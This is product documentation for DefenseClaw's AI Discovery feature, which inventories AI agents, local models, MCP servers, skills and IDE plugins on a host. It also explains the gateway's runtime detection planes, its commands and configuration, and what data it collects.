AI Discovery

Find AI agents, installed local models, running model servers, MCP servers, skills, and providers on the host, and see which of them actually ran. DefenseClaw runs a continuous fingerprinting scanner and three runtime detection planes in the gateway, plus defenseclaw agent discover for an instant connector inventory.

AI Discovery answers two questions. What AI is installed on this machine? And what actually ran, and where did it send data? The first answer comes from an inventory scan. The second comes from three runtime planes inside the gateway.

Guided example · Synthetic workstation evidence

Turn workstation evidence into a sanitized AI inventory record

Multiple weak signals are classified, deduplicated, and emitted as one confidence-scored asset.

Deterministic
{  "kind": "ai_discovery",  "asset_id": "workstation:cursor:demo",  "connector": "cursor",  "state": "new",  "confidence": "high",  "sanitized": true}{  "kind": "ai_discovery",  "asset_id": "workstation:cursor:demo",  "connector": "cursor",  "state": "new",  "confidence": "high",  "sanitized": true}
DecisionCreate inventory evidence
Reason

Independent signals support high confidence

Action

Emit sanitized ai_discovery event

05

EmitWrite a sanitized discovery event for inventory and telemetry.

Step 5 / 5
What DefenseClaw did — and did not do

What it did

  • Collect multiple evidence signals
  • Separate identity confidence from presence confidence
  • Emit a sanitized inventory record

What it did not do

  • Collect environment variable values
  • Prove every detected component is active
  • Claim that a discovered asset is safe

What you just saw

DefenseClaw TUI AI Discovery panel: a local GGUF model in the Local models table, and Codex, Claude Code and npm and PyPI AI SDK dependencies in the AI products and tools table

Installed or ran

QuestionAnswered byNeeds the gateway
Which agents are installed?defenseclaw agent discoverNo
What AI is on the machine (agents, CLIs, local models, MCP servers, skills, packages, desktop apps)?The continuous scan, read with defenseclaw agent usageYes
Which agent assets exist, with provenance?defenseclaw aibom scanNo
Which IDE plugins does each user have?defenseclaw agent ide-pluginsYes
What ran, and who did it talk to?The runtime planesYes

The inventory proves presence, not activity. A detected component may be dormant. A process that ran but is not in the inventory is the case only the runtime planes see.

The three runtime planes

PlaneWatchesNeeds
A, inference heartbeatSustained CPU in a scriptable runtime, or memory large enough to hold model weightsNothing for your own processes
B, shadow egressWhich process sends data to which AI provider, with the DNS answer that names the peerElevated rights for other users' processes
C, agent actionsProcess, file and identity events that descend from an AI agentRoot and Full Disk Access on macOS, capabilities on Linux, audit policy on Windows

A new configuration turns on A and B. Plane C is opt-in. Every plane reports what it cannot see instead of showing a clean host. Per-OS grants and detail: Runtime planes.

Run it now: 30-second tour

Take a 30-second inventory of the AI on a machine.

Before you start

agent discover and aibom scan need no gateway. agent usage, agent ide-plugins and the TUI panel read the gateway's continuous scan, so start the gateway and turn it on first.

This tour is for a per-user install. On a managed (standalone enterprise) Linux or macOS computer every command in it refuses, for enrolled users and for root alike (Managed command availability), with This computer is managed and a pointer to defenseclaw sandbox status and defenseclaw sandbox policy explain. There the administrator turns discovery on with ai_discovery.enabled: true in the managed config and reads the inventory as root with sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux discovery and enterprise linux ide-plugins (on a Mac sudo /opt/cisco/defenseclaw/bin/defenseclaw-gateway enterprise macos discovery). On a managed Windows computer run & 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows discovery from an elevated PowerShell prompt. See Per-user scans in standalone enterprise.

Steps

  1. List the agents that are installed.

    defenseclaw agent discover
                         Agent discovery (cached)
    ┃ Connector   ┃ Installed ┃ Configured ┃ Active / Mode ┃ Config ┃ Binary                ┃
    │ codex       │ yes       │ no         │ no            │ -      │ /usr/local/bin/codex  │
    │ claudecode  │ yes       │ no         │ no            │ -      │ /usr/local/bin/claude │
    │ openclaw    │ no        │ no         │ no            │ -      │ -                     │
    …

    Add --json for machine output. It carries full local paths, so treat it as host inventory. --no-emit-otel keeps the run strictly local.

  2. Turn on continuous discovery and scan now.

    defenseclaw agent discovery enable --restart --scan
    defenseclaw agent discovery status

    A fresh install has discovery off. enable also turns on runtime planes A and B. It lists the changes, says it will restart the gateway, and asks Proceed? [Y/n]; press Enter to continue. In a script or scheduled task, use defenseclaw agent discovery enable --restart --scan --yes to skip the prompt.

  3. Read the inventory.

    defenseclaw agent usage
    defenseclaw agent usage --category local_model --detail
    defenseclaw agent ide-plugins --user alice --ai-only

    The ide-plugins table looks like this (sample data; your plugins differ):

    ┏━━━━━━━┳━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━┳━━━━━┓
    ┃ User  ┃ IDE    ┃ Plugin                                          ┃ Version ┃ Enabled ┃ AI  ┃
    ┡━━━━━━━╇━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━╇━━━━━┩
    │ alice │ cursor │ anthropic.claude-code (Claude Code for VS Code) │ 2.1.0   │ yes     │ yes │
    │ alice │ vscode │ github.copilot (GitHub Copilot)                 │ 1.250.0 │ yes     │ yes │
    └───────┴────────┴─────────────────────────────────────────────────┴─────────┴─────────┴─────┘
    2 plugin(s) shown; 7 in total, 4 AI, 0 disabled, 1 user(s)
  4. Open the TUI panel. Run defenseclaw tui and press V. Local models get their own table above agents and tools. Press a to show all models, t to switch tables.

  5. Export an AI bill of materials.

    defenseclaw aibom scan --json > aibom.json
    defenseclaw aibom scan --summary

    --only skills,mcp limits categories. --connector <name> limits to one connector. Each item carries a provenance block (schema version, content hash, configuration generation, DefenseClaw version). The BOM is not signed and has no CycloneDX format.

Check it worked

agent discovery status shows Configured: enabled and a last-scan time. aibom scan prints a count per category. A - means that category is not collected for the connector.

Turn it off

defenseclaw agent discovery disable

disable asks Proceed? [Y/n] before saving the change and restarting the gateway. In a script or scheduled task, use defenseclaw agent discovery disable --yes to skip the prompt. A stopped gateway is not started; discovery stays off when it next starts.

Where discovery data goes

reports
reports
emits
stores
exports
records
in the gatewayWhat actually ranruntime planes
in the gatewayAI on the hostcontinuous scan
CLI, on demandAgent assetsaibom scan
CLI, on demandInstalled agentsagent discover
Gatewaychecks and records
Your telemetryOTLP, Splunk
Audit loglocal SQLite

List view for small screens. Use the expand button to open the drawing.

  1. in the gatewayWhat actually ranruntime planes
    • reportsGateway
  2. in the gatewayAI on the hostcontinuous scan
    • reportsGateway
  3. CLI, on demandInstalled agentsagent discover
    • emitsGateway
  4. CLI, on demandAgent assetsaibom scan
    • storesAudit log
  5. Gatewaychecks and records
    • exportsYour telemetry
    • recordsAudit log
  6. Audit loglocal SQLite
  7. Your telemetryOTLP, Splunk
The CLI commands run when you call them. The continuous scan (every 5 minutes by default) and the runtime planes run inside the gateway, which records everything in the local audit log and exports it to your telemetry. A registry is not a discovery source: it decides what is allowed.
  • The gateway keeps every scan in the local audit database. This is always on.
  • It exports ai_discovery, ai_component.* and ai.runtime.* records to your observability destinations: Grafana, Splunk or any OTLP destination.
  • It never sends discovery results to Galileo.
  • On managed enterprise devices it also reaches the AI Defense destination, if configured.

At a glance

What AI Discovery finds, where it looks, and what it sends.

SectionWhat it coversCommands and keys
What gets discoveredThe 16 signal categories, the local model inventory and its modesagent usage, agent usage --category local_model
Continuous discoveryThe gateway scan, per-user scans, sandboxes, tunable knobs, signature packsagent discovery (enable, status, scan), agent signatures, ai_discovery.scan_interval_min
IDE plugin inventoryWhich IDEs, whose plugins, what is and is not collected, privacyagent ide-plugins
Operator CLIThe agent commands that read the inventoryagent discover, usage, processes, components, confidence
AIBOMThe bill of materials outputaibom scan
Where the data landsSQLite, destinations, Splunk, GrafanaObservability destinations
Privacy and trust modelWhat is never collected, and how far to trust each signal
Runtime planesThe three planes that watch what AI runtimes ran, per OS, and the privileges each needsagent discovery runtime (enable, selftest, findings)

What gets discovered

The continuous scanner in the gateway classifies every signal into one of the wire categories below. agent discover is a separate, connector-focused local inventory; the gateway-backed agent usage command renders these continuous-discovery signals.

CategoryWhat it surfaces
supported_connectorOpenClaw, ZeptoClaw, Claude Code, Codex, Cursor, Devin, GitHub Copilot CLI, Antigravity, Hermes, OpenCode, Amp, Kiro
ai_cliStandalone AI CLIs and helpers (gh copilot, aider, chatblade, …)
active_processRunning processes whose name matches a catalog entry — agent CLIs, local model servers such as Ollama or vLLM, and AI desktop apps
editor_extensionAI extensions and plugins in VS Code and its forks, JetBrains IDEs, Visual Studio, Zed and Vim/Neovim. The full list of every plugin, AI or not, is the IDE plugin inventory
mcp_serverMCP servers configured for any connector (mcpServers blocks)
skillClaude / Cursor / OpenClaw skill bundles installed on disk, in the home folder and in the project (~/.claude/skills, .claude/skills)
ruleRule packs and ruleset files referenced by config
pluginConnector plugins (TypeScript, Python, native)
package_dependencyrequirements.txt / package.json / pyproject.toml AI deps
env_var_nameAI provider env var names (never values)
shell_history_matchShell-history references to AI binaries (last-touched timestamps)
provider_domainDNS resolutions to known provider endpoints
workspace_artifact.openclaw/, .claude/, .cursor/ directories in active workspaces
desktop_appClaude Desktop, Cursor, and Devin macOS / Windows app installs. Claude Desktop also gets a Cowork block
local_ai_endpointVetted Ollama, Lemonade, LM Studio, LocalAI, and vLLM loopback metadata endpoints
local_modelModels installed on disk or reported as loaded by a vetted loopback model server

The local snapshot uses state ∈ {new, seen, changed, gone} with last_seen / first_seen timestamps. seen is the steady state for an unchanged signal. In unmanaged deployments, outbound ai_discovery events remain delta-focused and emit only new, changed, or gone transitions. In managed_enterprise, each full scan publishes a complete endpoint snapshot, including unchanged seen records. Full scans default to a five-minute cadence. The process-only tick refreshes local process state between full scans, but it does not republish the ai_discovery snapshot or the companion managed connector/MCP inventory to AI Defense.

Claude Desktop and Cowork

Cowork is the agent mode of Claude Desktop. For each user who has run Claude Desktop, a full scan adds one desktop_app signal with detector claude_desktop and a claude_desktop block. A machine with the app but no data folder (never started) only shows the plain application signal.

"claude_desktop": {
  "installed": true,
  "installed_source": "app_bundle",
  "version": "4.4212.0",
  "cowork_enabled": true,
  "cowork_enabled_source": "cowork_sessions",
  "engine_version": "2.1.309",
  "vm_bundle_present": true,
  "vm_bundle_bytes": 12161047888,
  "cowork_plugins": ["finance", "sales-tools"],
  "deployment": "1p"
}
FieldMeaning
installed, installed_sourceThe app was found: app_bundle (macOS Claude.app), install_folder or msix_package (Windows). On Linux nothing is probed, so the data folder counts (data_folder). A data folder without the app is installed: false.
versionThe app version: Info.plist on macOS, the app-<version> install folder on Windows. Empty for an MSIX install and on Linux, which have no version tied to the account.
cowork_enabled, cowork_enabled_sourcetrue when this machine shows Cowork set up: a session on disk (cowork_sessions) or the VM bundle (vm_bundle). false only when Claude Desktop recorded that the machine cannot run the VM (vm_support_probe). null is unknown and is never guessed. This is local evidence; it does not read your organization's setting for Cowork.
engine_versionThe newest Claude Code build that Claude Desktop bundles (the engine behind Cowork).
vm_bundle_present, vm_bundle_bytesThe Cowork VM bundle and the combined size of its files. The bundle is several gigabytes; the size comes from the file sizes, never from reading the images.
cowork_pluginsNames of the plugins enabled in Cowork, sorted, at most 64. Names only.
deploymentWhich Claude Desktop deployment the data folder belongs to: 1p (signed in to Claude) or 3p (third-party inference: Amazon Bedrock, Google Vertex AI, Microsoft Foundry). The value comes from the folder (the table below), not from the deploymentMode in its claude_desktop_config.json; on the measured machines the two always agreed. Each deployment has its own data folder, so a user who runs both gets two signals.

The data folders the scan reads:

OS1p3p
macOS~/Library/Application Support/Claude~/Library/Application Support/Claude-3p
Windows%APPDATA%\Claude; the MSIX app's %LOCALAPPDATA%\Claude-Data\claude_<id> (older MSIX builds: %LOCALAPPDATA%\Packages\Claude_*\LocalCache\Roaming\Claude)%LOCALAPPDATA%\Claude-3p
Linux~/.config/Claude~/.config/Claude-3p

Where the scan looks, relative to each data folder:

  • claude-code/<version> for the engine,
  • vm_bundles/claudevm.bundle for the VM bundle,
  • local-agent-mode-sessions/<account>/<org> for sessions (local_*.json) and the plugin manifest (rpm/manifest.json),
  • vm-support-probe.json for the VM check.

The scan lists and reads these paths with fixed limits and never starts Claude Desktop, its engine or the VM. It refuses a symbolic link, junction or other reparse point on the data folder, on any folder between the home and the data folder (Library/Application Support as a link, say), or on any folder below it, so one user's data cannot carry another account's facts; a refused link below the data folder makes the signal partial (read_error). Connectors (an account's remote MCP servers) have no local file and are not listed.

On Windows the MSIX folders (claude_<id>, Claude_*) are matched by name, at most four per folder. The folder whose id matches an installed MSIX package (%LOCALAPPDATA%\Packages\Claude_<id>) is read first. When more folders match than are read, every signal of that account is partial (cap_exceeded). A data folder that holds only Claude Desktop's migration marker (.user-data-left.claude_<id>, left behind in the older MSIX folder once the data moved to Claude-Data) is not reported. The catalog reads claude_desktop_config.json (configs and MCP servers) in the same folders, MSIX folders included.

The macOS folders and the Windows MSIX folders were measured on Claude Desktop 4.16336.0, for both deployments. These are still unmeasured and follow the macOS layout until a Cowork host confirms them:

  • the VM bundle name and place (vm_bundles\claudevm.bundle); the scan falls back to the first *.bundle folder in vm_bundles,
  • the session and plugin files under local-agent-mode-sessions, and vm-support-probe.json,
  • the Squirrel install folder %LOCALAPPDATA%\AnthropicClaude\app-<version> and the MSIX package folder,
  • the Linux 3p folder ~/.config/Claude-3p,
  • Linux install evidence: only the data folders are checked, so installed there means the app has run.

The Secure Client profile and sandbox scans do not run this detector. When a fact changes (Cowork turns on, a new engine), the signal is changed; a change in the VM size alone is not.

Local model inventory

Full continuous scans inventory local models through two metadata-only paths. The filesystem path does not require an inference engine to be installed or running: a standalone high-signal GGUF/GGML, safetensors/MLX, Core ML, or Q4NX artifact can produce a local_model row on its own. Context-sensitive formats such as ONNX/ORT, TFLite, PyTorch/checkpoint, and generic binary containers must also pass the admission rules below.

Passive and enhanced modes

The discovery mode controls which model directories DefenseClaw adds automatically. It does not change the redaction policy or enable inference.

ModeAutomatic filesystem coverage
passiveKnown model stores, plus narrower roots the operator explicitly lists in scan_roots. An exact user-home/~ root is not traversed for model files, and unknown macOS application storage is not added automatically.
enhancedEverything in passive, plus the configured broad home traversal and bounded high-yield macOS application-storage and app-resource roots for models downloaded by applications that are not yet in the signature catalog.

Use enhanced mode for shadow-model discovery:

ai_discovery:
  mode: enhanced

On macOS, enhanced mode keeps the broad ~ walk from descending into all of ~/Library. Instead, it adds ~/Library/Application Support, ~/Library/Containers, ~/Library/Group Containers, and ~/Library/Caches as direct, separately budgeted roots. Installed application Resources directories are covered with their own bounds. This reaches model stores used by ordinary, sandboxed, shared-container, and self-contained applications without letting one large Library subtree consume the whole scan.

Narrow configured roots are honored in both modes. Select passive when an organization wants known stores and explicitly approved paths only; select enhanced when finding models owned by previously unknown applications is the priority. Enhanced mode changes where DefenseClaw looks, not what it trusts: it does not equate every ML-looking file in those broader roots with a user model.

This is not an unrestricted content crawl. The scanner:

  • considers recognized model artifacts and model-directory metadata, not arbitrary documents, messages, images, or audio;
  • preserves recognized model stores as specialized evidence and accepts high-signal GGUF/GGML, safetensors, Core ML, and Q4NX artifacts on format evidence;
  • outside those stores, admits ambiguous ONNX/ORT, TFLite, PyTorch/checkpoint, and generic binary formats only when they have explicit model context (for example, a model/weights/checkpoint/format directory, a semantic model name in a non-cache application support/container/resource scope, or a nearby bounded metadata sidecar) and a meaningful, non-opaque identity from the artifact or model directory;
  • rejects generic identities such as model, weights, and runtime, opaque hex/UUID-like cache keys, and version-only identities. Known Chrome Optimization Guide/OptGuide payload paths are rejected for these ambiguous formats; this targeted suppression does not exclude high-signal formats or recognized model stores;
  • skips common source, dependency, build, browser-noise, and runtime-noise trees, plus DefenseClaw's own data directory (~/.defenseclaw and the configured data_dir, which hold its bundled dependencies and models), while allowing application-scoped caches to participate;
  • applies global and per-root traversal limits, rotates roots, and resumes incomplete roots on later scans; and
  • reads only bounded metadata such as a GGUF header prefix or a small adjacent manifest/configuration file, never tensor payloads.

Ownership, modality, and relevance

Enhanced discovery does not require DefenseClaw to know the application in advance. When path structure provides reliable context, each local_model can carry these bounded fields:

FieldMeaning
owner_applicationDisplay label inferred from the top-level app, container, or bundle name. It stays empty when ownership cannot be established; the macOS app renders the owner as unknown rather than guessing.
modalitygenerative, speech, vision, embedding, audio, or unknown.
relevanceprimary for a primary model/weights/checkpoint artifact, supporting for components such as speech, vision, embedding, or VAD models, embedded for models shipped inside an application or browser/conferencing-style cache, or unknown.
discovery_confidenceA 0..1 score for the filesystem/context evidence behind this model classification. It is separate from product identity confidence.

Once admitted, supporting models and embedded artifacts remain part of the complete local snapshot rather than being deleted as display noise. The recommended TUI and macOS presentation hides low-confidence, embedded, and unknown-relevance rows by default. It retains high-confidence primary models plus owner-attributed supporting speech, audio, vision, and embedding models, so components used by apps such as transcription tools remain actionable. A model_api row without model-specific discovery_confidence also remains visible because a directly enumerated runtime model should not disappear merely because an older gateway cannot classify it. Show All Models removes the recommended exclusions for forensic inventory; explicit macOS modality/relevance choices can still narrow the display. It does not override scanner admission or resurrect rejected cache payloads. Presentation filters never remove rows from the API or JSON export.

Vetted loopback APIs. Presence checks prefer HEAD; model inventory uses bounded, read-only GET requests only for explicitly allow-listed metadata routes.

RuntimeInstalled / reported modelsLoaded models
Lemonade Server/v1/models, /api/v1/models/v1/health, /api/v1/health
Ollama/api/tags/api/ps
LM Studio/v1/modelsNot distinguished by the built-in route
LocalAI/v1/modelsNot distinguished by the built-in route
vLLM/v1/modelsNot distinguished by the built-in route
llama.cppNo built-in model-metadata endpointProcess and filesystem discovery only

The generic /v1/models integrations are recorded with status=installed; status=loaded is reserved for a runtime health/status route that explicitly reports an in-memory model. The detector never calls completion, embedding, audio, pull, load, delete, or other inference/control endpoints.

For Lemonade Server, the built-in signature recognizes the lemonade, lemond, lemonade-tray, and LemonadeServer.exe binaries/processes, the desktop app, documented configuration locations, environment-variable names, and the default loopback port 13305. Its model list includes only downloaded local entries; downloaded=false and cloud-recipe entries are ignored. Configured models_dir and extra_models_dir values are also added as filesystem model roots.

Bounded filesystem metadata. The scanner recognizes GGUF/GGML, safetensors, ONNX/ORT, Core ML, TFLite, Q4NX, MLX, Hugging Face cache layouts, and Ollama manifests/blob stores. It groups sharded weights and model-cache directories into model rows instead of reporting every shard or blob. Outside recognized model stores, ONNX/ORT, TFLite, and generic PyTorch/checkpoint extensions such as .pt, .pth, .ckpt, and .bin require both explicit model context and a meaningful, non-opaque identity. The scan emits at most max_files_per_scan matching artifacts and also enforces separate global and per-root traversal budgets. It never reads tensor payloads: provenance extraction is limited to a regular-file-checked GGUF header prefix and small adjacent JSON configuration/Ollama manifests, each with explicit byte, count, string, and array bounds.

Known model stores are automatic and additive. The scanner checks environment-selected roots (HF_HUB_CACHE, HF_HOME, OLLAMA_MODELS, LM_STUDIO_HOME, and FLM_MODEL_PATH), conventional Hugging Face, Ollama, LM Studio, llama.cpp, and MLX caches, Lemonade-configured model directories, and then eligible operator scan_roots. On native Windows it additionally prioritizes the documented GPT4All LocalAppData store, the Jan RoamingAppData model store, and the catalogued AnythingLLM model directory, so a bounded home scan does not need several cursor cycles to reach them. Setting --scan-roots does not disable specialized stores. Passive mode honors narrower configured roots but suppresses a root equal to a user home; enhanced mode also honors that broad home root.

Windows discovery uses token-bound Known Folders rather than trusting process overrides for Profile, AppData, ProgramData, or Program Files. It inventories unique exact executable aliases across the full signature catalog and fails closed when a basename is shared by multiple products. Installed applications come from Start Menu/Programs roots, uninstall display names, and the current user's supported virtual AppsFolder, including launchable Store/MSIX/UWP registrations; discovery also covers both Windows PowerShell and PowerShell 7 history plus AppData-backed VS Code-family and JetBrains extension stores. Application display names and bounded, path-free package identity names are reduced to hashed evidence before they leave the detector, as the macOS and Linux application inventory is.

Each local_model signal keeps its potentially high-cardinality identity under a dedicated model block. For example, an installed Lemonade model can appear as:

{
  "category": "local_model",
  "detector": "model_api",
  "model": {
    "id": "Qwen3-0.6B-GGUF",
    "status": "installed",
    "format": "gguf",
    "provider": "lemonade",
    "recipe": "llamacpp",
    "size_bytes": 380000000,
    "provenance": {
      "publisher": "Alibaba Cloud",
      "country_code": "CN",
      "root_model": "Qwen/Qwen3-0.6B",
      "quantized": true,
      "quantization": "Q4_K_M",
      "derivation": "quantized",
      "source": "gguf_metadata",
      "confidence": "medium"
    }
  }
}

Loaded-model rows can additionally carry modality, device, and pinned, plus a separate runtime block when the server reports a PID. The model ID is not copied into product or component, which keeps product and telemetry labels bounded.

The country is the ISO 3166-1 alpha-2 country associated with the organization that released the resolved root/base weights—not the quantizer, Hub uploader, local runtime, or download location. The TUI and macOS app derive the flag locally (CN 🇨🇳); emoji is never stored on the wire. base_models, quantized, distilled, and derivation preserve the detected lineage, while source and confidence distinguish embedded/runtime evidence from catalog or Hub enrichment. Missing evidence stays absent/unknown rather than becoming a guess.

The ai_component.* logs carry this bounded provenance subset for local_model signals, but never the installed artifact's model ID and never as metric labels. Publisher, country, derivation flags, source, and confidence are metadata fields. Root/base model names are included only for a reviewed exact lineage or a successful public Hub lookup. Those names and config-derived quantization text are log-only content fields so each OTLP destination's selected redaction profile can transform or remove them.

Optional Hugging Face enrichment. Set ai_discovery.lookup_model_provenance_online=true (or pass --lookup-model-provenance-online to agent discovery enable) to look up public model-card ancestry. This is off by default because a lookup transmits a model repository ID. The resolver calls only the fixed public Hugging Face model-info endpoint, refuses redirects, bounds responses and recursion, caches positive and negative results, and starts only from an exact ID recovered from a Hugging Face cache path, an explicit huggingface.co URL in embedded metadata, or a reviewed exact lineage rule. It does not send local paths or slash-shaped relative aliases, fuzzy-search arbitrary filenames, or use a private Hub token. Transient failures retain a previously resolved result for at most seven days; a definitive not-found response clears it. A fully renamed GGUF can still resolve when its embedded general.source.* or general.base_model.* repository URL survives conversion; if identifiers and metadata were stripped, discovery reports the provenance as unknown.

New config.yaml files persist the opt-in explicitly as disabled:

ai_discovery:
  lookup_model_provenance_online: false

Enable it with defenseclaw config set ai_discovery.lookup_model_provenance_online true (the gateway applies an ai_discovery change without a restart), interactively with defenseclaw agent discovery setup, or non-interactively with defenseclaw agent discovery enable --lookup-model-provenance-online.

Model lifecycle and bounded scans

Limits do not turn a partial observation into a false deletion. API inventories larger than 256 rows advance through per-source cursor pages; previous rows remain seen until that source reaches the end of a complete cycle. Only the completed cycle can mark an omitted model gone. Likewise, filesystem pages preserve the last complete model aggregate until a root reaches the end, so shards do not alternate between partial sizes or create false changed / gone transitions. A single failed API pass is carried as seen to tolerate a normal local-server restart, while a valid empty inventory is conclusive.

Continuous discovery (gateway)

The continuous scanner runs inside the gateway. Unmanaged deployments emit ai_discovery events when a signal transitions state; managed-enterprise full scans emit the complete snapshot described above. A fresh defenseclaw init leaves AI discovery disabled. Run defenseclaw agent discovery enable after initialization to collect the IDE inventory. This also enables runtime monitoring planes A and B. Use these commands to make the intended state explicit:

defenseclaw agent discovery enable --restart --scan

Sets ai_discovery.enabled and the other ai_discovery.* settings you pass in ~/.defenseclaw/config.yaml, restarts the gateway (the default; --no-restart skips it), and runs an immediate full scan so the dashboards are populated in seconds. Use --yes for non-interactive provisioning. The gateway also applies any ai_discovery change made with defenseclaw config set by itself, so a single setting needs no restart.

defenseclaw agent discovery status

Prints what's enabled, the active scan roots, the loaded signature pack, the last scan timestamp, and the total signal count.

defenseclaw agent discovery scan

Triggers POST /api/v1/ai-usage/scan. The scanner runs an immediate full scan and refreshes the local snapshot. Unmanaged deployments emit any new, changed, or gone transitions without replaying unchanged seen rows. Managed enterprise emits the complete snapshot, including seen, and refreshes the companion managed endpoint inventory. No restart needed.

defenseclaw agent discovery disable

It asks Proceed? [Y/n]; --yes skips the question. defenseclaw agent discovery disable turns off AI discovery and the runtime planes that enable turned on. The selected planes are kept for the next enable.

Sets ai_discovery.enabled to false and stops the scanner. Your other ai_discovery.* settings stay in the file, so enable brings the same configuration back. Existing audit events are preserved.

Per-user scans in standalone enterprise

In the standalone enterprise profile the gateway runs as a service account that cannot read user homes or see other accounts' processes. The hook guardian therefore runs the static scan for each user in the target manifest, as that user, every scan_interval_min, while ai_discovery is enabled:

  • The scan reads only that user's home and sees only that user's processes. Home-relative scan_roots apply; other roots, loopback probes and environment names stay with the gateway's own scan, which still covers machine-wide binaries and applications.
  • The guardian checks each result and writes it to the ai-discovery directory of the authorization ledger (root, readable by the gateway's group). The gateway adds it to its inventory on every full scan.
  • Each signal carries user and user_id from the account the guardian started the scan for, never from the scan's own output. The ai_component.discovered, changed and removed records carry the same user (user.id, defenseclaw.user.name) to your observability destinations, without the entry's name. The inventory retains the per-entry skill, plugin and MCP names locally; discovery does not emit per-entry ai_component.observed records. Names can still reach configured observability destinations in hook decision and asset-policy audit rows when those assets are used, scanned, admitted or rejected. Read the full inventory with the discovery view below. With ai_discovery.include_user_email on, each account's Claude Code and Codex address goes to your destinations on one ai_component.observed record per account and connector each discovery cycle, without entry names (Optional connector email).
  • The gateway's own process detector does not run; the scan summary reports detector_notes.process: provided by per-user scans.
  • A user's results turn gone when the user leaves the manifest, or after the longer of three scan intervals and 15 minutes since the user's last successful scan.
  • mode, include_shell_history, include_package_manifests and store_raw_local_paths apply as usual.
  • Administrators read the per-user records on the host with sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux discovery or sudo /opt/cisco/defenseclaw/bin/defenseclaw-gateway enterprise macos discovery (root, read-only; --user, --json). On Windows, & 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows discovery (elevated PowerShell prompt, read-only) shows the gateway's scan the same way.
  • Skills and MCP servers found this way are inventoried only: the managed gateway does not run the skill or MCP scanners on them.

These per-user scans run on Linux and macOS. On Windows the gateway service scans every enrolled user's profile itself: the hook enumerator grants the service read access to each user's agent folders (.claude, .codex, .cursor, .kiro, %LOCALAPPDATA%\hermes\skills and the others) and to the IDE folders the IDE plugin inventory reads (Whose plugins lists them), and nothing else in the profile. A folder on an enrolled connector's hook path stays at the guardian's protected permissions, so the service is not granted it: .kiro for a user enrolled for Kiro, .config for Amp or OpenCode, .gemini for Antigravity, .copilot for Copilot and %APPDATA%\devin for Devin. Devin's user MCP servers are still listed: the service is granted read on %APPDATA%\devin\mcp_config.json alone, not on the folder or the hook file config.json beside it. The Kiro IDE plugins in .kiro\extensions are still listed: the service is granted that folder alone and reads it without any access to .kiro. Kiro CLI is then found by its install folder %LOCALAPPDATA%\Kiro-Cli, Copilot CLI by its package cache %LOCALAPPDATA%\copilot\pkg, Devin CLI by %LOCALAPPDATA%\devin\cli and Amp by its npm install %APPDATA%\npm\node_modules\@ampcode\cli, folders the service may list but not read, and Antigravity CLI by .gemini\antigravity-cli; OpenCode is found by its folders outside .config, such as ~\.opencode. Cursor's hooks are machine-level on a managed computer, so a user without ~\.cursor\mcp.json is found by cursor-agent's install folder %LOCALAPPDATA%\cursor-agent, which the service may also list but not read. Each signal found in a profile, and each agent process started from one, carries that profile's account (user.id is the account SID, defenseclaw.user.id_kind is windows_sid, defenseclaw.user.name the account name). Folders outside the granted ones, such as the profile root that scan_roots: ["~"] names, are skipped without failing the scan. Only enrolled profiles are read: the profile of an account that enterprise.enrollment.exclude_users names is not, the processes in its sessions are left out, and the components it reported before are reported removed once, at the first scan after the change is applied, without a gateway restart; the enumerator also takes away the read access an earlier install granted it. ai_discovery.home_dirs adds folders to the enrolled profiles and never replaces them, and a folder inside an excluded profile is not read.

Inside OpenShell sandboxes

While sandboxes are on (openshell.enabled), the gateway also inventories what the agent in each running sandbox installed and configured there, which its own scan of this machine never sees:

  • Once a sandbox is ready, every scan_interval_min while it runs, and on demand with defenseclaw sandbox discover NAME, the daemon reads the sandbox with one read-only command it builds itself: the agent config, MCP configuration, skill, rule and plugin paths of the signature catalog under the sandbox's home and project, the agent CLIs in its bin folders, its running agents, the names (never the values) of its environment variables, its shell history and, for a copy (--copy, every sandbox on macOS), its package manifests. A mounted project is this machine's folder, which the gateway's own scan reads.
  • Everything the sandbox sends back is checked as the agent's: only absolute, printable paths under the sandbox's home, projects or harness install, within what was asked for and within the bounds (max_file_bytes a file, max_files_per_scan files read, 8,192 entries listed and a 4 MiB stream), are kept. They are written as private regular files (never links or FIFOs) under <data_dir>/sandboxes/NAME/discovery and scanned on this machine with the same detectors, without the machine-wide ones (applications, IDEs, loopback endpoints, model files). The copies go once scanned: only the scan record (scan.json) stays.
  • Each signal carries the sandbox's name and id (sandbox_name, sandbox_id, and defenseclaw.sandbox.name and .id on the ai_component.* records), and its hashes are its sandbox's own, so the same file in two sandboxes, or in a sandbox and on this machine, are separate entries. defenseclaw agent usage --sandbox NAME shows one sandbox's; every view tags them "(sandbox NAME)". A name with no sandbox is an error, a sandbox not read yet gets a note that defenseclaw sandbox discover NAME reads it now, and on Windows, which has no sandboxes, --sandbox exits 3 as defenseclaw sandbox does.
  • A sandbox signal's Last active is the last time the sandbox was read while it ran, a running process's too, not the date of the file: the files an image ships carry the image's dates. A sandbox process's Runtime up= counts from its start.
  • A stopped sandbox keeps what was found, without its processes; a deleted one's entries turn gone at once (the delete starts a scan, as agent usage --refresh does). ai_discovery.enabled: false turns this off too.

A real sandbox, read with defenseclaw sandbox discover (the MCP servers, the skills, the agent CLI and the running agent found inside it):

defenseclaw sandbox discover myapp-claude: one row per component with its category, product, what found it, the MCP server and skill names, and the file or folder that holds it

The same components in the AI inventory, tagged with the sandbox:

defenseclaw agent usage --sandbox myapp-claude: the AI visibility table with Claude Code and GitHub Copilot rows marked (sandbox myapp-claude), their categories, detectors, signal counts and sample evidence

The TUI's AI Discovery panel (V) lists the same components as their own rows, tagged (sandbox NAME):

DefenseClaw TUI AI Discovery panel with a row for Claude Code on the host and a separate row, Claude Code (sandbox myapp-claude), for what the scan found inside the sandbox

Tunable knobs

agent discovery enable accepts a wide tunable surface so you can scope the scan to your environment:

KnobPurpose
--mode passive|enhancedKeep model discovery to known stores and narrower configured roots (passive), or also honor a broad home root and scan bounded high-yield macOS application storage and app resources (enhanced).
--scan-rootsAdditional comma-separated filesystem roots to walk. Defaults inherit from ai_discovery.scan_roots (typically ~); known model stores are still added automatically. For model files, passive mode suppresses an exact user-home root but honors narrower roots.
